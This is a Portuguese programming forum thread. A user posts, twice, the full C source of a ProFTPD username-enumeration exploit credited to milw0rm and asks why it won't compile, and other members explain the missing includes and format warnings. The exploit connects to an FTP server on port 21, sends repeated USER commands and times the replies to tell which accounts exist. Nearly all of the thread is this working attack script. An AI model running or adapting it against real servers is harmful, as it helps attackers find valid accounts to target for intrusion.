Ir para o conteúdo
  • Revista PROGRAMAR: Já está disponível a edição #57 da revista programar. Faz já o download aqui!

bonucci

não da para compilar

Mensagens Recomendadas

bonucci    0
bonucci

Oi pessoal, tenho aqui um script, no qual gostaria de experimentalo no meu servidor, numa plaicaçao que tenho instalado ftp, o script é esse

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}

no qual n pertence a mim claro, pertence aqui ao mill http://www.milw0rm.com/exploits/581

Alguem faz ideia porque n consigo compilalo?? está faltando alguma coisa? experimentei no Dev c++ e até em linux gcc, sorry pela pergunta lamme, sou um zero a programação, mas ja ando a deidicarme mais a ele ultimamente, pois na minha vida do dia a dia obrigame a saber programação

Ficam bem pessoal

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
IceBrain    1
IceBrain

Compilei simplesmente com "gcc -o script  script.c" e deu perfeitamente (com três warnings por declarações implícitas, faltam fazer #include à string.h e stdlib.h).

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
bonucci    0
bonucci

fogo, entao sao aqui os programas do meu pc que andam a bater mal... aqui está como eu altereio, eu tento compilalo em Dev c++ mas não me compila

aqui está o codigo:

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <sys/time.h>

#define PORT 21

#define PROBE 8

int main (int argc, char **argv)

{

int sock,n,y;

long dist,stat=0;

struct sockaddr_in sin;

char buf[1024], buf2[1024];

struct timeval tv, tv2;

struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"

" Coded by Leon / LSS Security\n"

">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;

sin.sin_port = htons (PORT);

sin.sin_addr.s_addr = inet_addr (argv[1]);

bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");

n = read (sock,buf2, sizeof(buf2));

for (y=0;y<PROBE;y++) {

gettimeofday (&tv,&tz);

snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);

write (sock, buf, strlen(buf));

n = read (sock,buf2, sizeof(buf2));

gettimeofday (&tv2,&tz2);

dist =tv2.tv_usec - tv.tv_usec;

stat += dist;

printf (" %d |",dist);

}

printf ("\nAvrg: %d\n",(stat/PROBE));

close (sock);

}

Axo que não falta nada no codigo

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
bonucci    0
bonucci

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
Rui Carlos    309
Rui Carlos

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

De referir que isso são avisos e não erros.

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!

Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.

Entrar Agora


×

Aviso Sobre Cookies

Ao usar este site você aceita a nossa Política de Privacidade